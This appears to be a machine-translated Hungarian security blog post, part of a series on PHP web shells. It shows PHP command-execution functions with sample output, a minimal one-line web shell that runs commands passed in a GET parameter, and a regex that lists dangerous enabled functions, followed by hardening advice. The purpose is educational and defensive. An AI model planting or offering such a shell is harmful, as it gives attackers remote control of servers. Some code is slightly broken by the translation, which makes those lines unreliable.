Dubitinsider

for your information

a sorozat 1. részében azt vizsgáltuk, hogy mi az a webes héj, és miért akar egy támadó használni. A sorozat 2. részében néhány konkrét példát fogunk megvizsgálni a PHP programozási nyelv használatával kifejlesztett webes héjakról.

a webes héjak szinte minden webes programozási nyelvhez léteznek. Úgy döntöttünk, hogy a PHP-re összpontosítunk, mert ez a legszélesebb körben használt programozási nyelv az interneten.

a PHP webes héjak nem tesznek mást, mint beépített PHP funkciókat használnak a parancsok végrehajtásához. Az alábbiakban bemutatjuk a shell parancsok PHP-ben történő végrehajtásához használt leggyakoribb funkciókat.

megjegyzés: e cikk alkalmazásában szerkesztettük a hosts fájlt, és rámutattunk a domainre www.example.com egy teszt szerverre.

system ()

a system() függvény paraméterként elfogadja a parancsot, és az eredményt adja ki.

a következő példa egy Microsoft Windows gépen futtatja a dir parancsot annak a könyvtárnak a listájának visszaadásához, amelyben a PHP fájl végrehajtásra kerül.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

a ls parancs végrehajtása Linux gépen hasonló eredményt ér el.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

a többi parancsnak ugyanaz a hatása.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec()

a exec() függvény elfogadja a parancsot paraméterként, de nem adja ki az eredményt. Ha egy második opcionális paraméter van megadva, az eredmény tömbként kerül visszaadásra. Ellenkező esetben csak az eredmény utolsó sora jelenik meg, ha visszhangzik.

<?php// Executes but returns nothingexec("ls -la");?>-->

a echo a exec() függvény csak a parancs kimenetének utolsó sorát nyomtatja ki.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

Ha egy második paraméter van megadva, az eredmény egy tömbben kerül visszaadásra.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec()

a shell_exec() függvény hasonló a exec() függvényhez, azonban a teljes eredményt karakterláncként adja ki.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru()

a passthru() függvény végrehajtja a parancsot, és nyers formátumban adja vissza a kimenetet.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open()

a proc_open() függvény nehezen érthető (a függvény részletes leírását a PHP dokumentumokban találja). A proc_open() használatával létrehozhatunk egy kezelőt (folyamatot), amelyet a szkriptünk és a futtatni kívánt program közötti kommunikációra használunk.

Backticks

meglepő módon nem sok PHP fejlesztő ismeri ezt, de a PHP a backticks (`) tartalmát shell parancsként hajtja végre.

megjegyzés: a backtick karakter (`) nem tévesztendő össze a single quote karakterrel (‘)
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

a fentiek alapján a következő egy PHP webhéj a legegyszerűbb formájában.

<?php system($_GET);?>

a system() függvényt használja a ‘cmd’ HTTP request GET paraméteren áthaladó parancsok végrehajtására.

webes héjak image 2

megállapítottuk, hogy ezek a funkciók (és néhány más) nagyon veszélyesek lehetnek. Ami még veszélyesebb, hogy ezek a beépített PHP parancsok alapértelmezés szerint engedélyezve vannak a PHP telepítésekor, és a rendszergazdák többsége nem tiltja le őket.

Ha nem biztos benne, hogy engedélyezve vannak-e a rendszerén, az alábbi lista visszaadja az engedélyezett veszélyes funkciók listáját.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

egy alapértelmezett telepítésnél láthatjuk, hogy az összes fent említett funkció engedélyezve van.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

1.rész

Bevezetés a webes héjakba

2. rész

webes héjak 101 A PHP használatával

3. rész

a webes héjak fedél alatt tartása

4. rész

webes héjak működés közben

5. rész

észlelés &megelőzés

gyakran ismételt kérdések

a webes héjat gyakran egy kis alkalmazás, amelyet a támadó fut a webkiszolgálón. Ezután használhatják ezt az alkalmazást, hogy távolról hozzáférjenek a szerverhez, és parancsokat futtassanak rajta. A webes héj önmagában soha nem támadás, ez a webhely vagy a webes alkalmazás elleni sikeres támadás következménye. Ez azt jelenti, hogy ha van egy web shell, van egy sokkal komolyabb probléma aggódni.

nézze meg, hogyan működik a webes héj a gyakorlatban.

a rosszindulatú hackerek webes héjakat használnak, hogy átvegyék az irányítást egy már veszélyeztetett szerver felett. Először kihasználják a webhely vagy a webes alkalmazás biztonsági rését, például az SQL injekciót, a távoli kódfuttatást vagy másokat. Ezután feltöltenek egy webes héjat a webkiszolgálóra. Mostantól minden olyan parancsot futtathatnak, amely tetszik a szerveren.

Lásd egy lépésről-lépésre példa egy támadás, amely elvezet a teljes szerver kompromisszum.

a webes héjakat napló elemzéssel lehet felismerni. Nem szabad azonban a webes héjak észlelésére összpontosítania, hanem inkább olyan sebezhetőségeket kell észlelnie, amelyek lehetővé teszik a támadók számára, hogy átvegyék az irányítást a szerver felett. Még akkor is, ha észlel egy webes héjat, ez nem akadályozza meg a támadókat abban, hogy újra átvegyék az irányítást, ha a sebezhetőségek még mindig fennállnak. A webes sebezhetőségek észleléséhez és azok kiküszöböléséhez használja az Acunetix-et.

nézze meg, mit tehet az Acunetix Premium az Ön számára.

a legjobb módja annak, hogy megvédje magát a webes héjak ellen, ha lehetetlenné teszi azok használatát a rendszeren. Ezt úgy teheti meg, hogy megkeményíti a szervert – eltávolítja az összes felesleges engedélyt, blokkolja a potenciálisan veszélyes funkciókat, korlátozza a szkript végrehajtását a feltöltési könyvtárakban stb. Azonban a legjobb, hogy megvédje a szerver egyre veszélybe az első helyen segítségével Acunetix rendszeresen.

További információ a webes héj észleléséről és védelméről.

Szerezd meg a legfrissebb tartalmat a webes biztonsági
a postaládájába minden héten.

ossza meg ezt a bejegyzést

A szerző
agathoklis Prodromou
Web systems administrator/Developer

akis dolgozott az informatikai szférában több mint 13 éve, fejlődő képességeit egy védekező szempontból, mint egy rendszergazda és webfejlesztő, hanem egy támadó szempontból, mint egy penetráció tesztelő. Számos szakmai tanúsítvánnyal rendelkezik az etikus hackeléssel, a digitális kriminalisztikával és az incidensre adott válaszokkal kapcsolatban.

Vélemény, hozzászólás?

Az e-mail-címet nem tesszük közzé.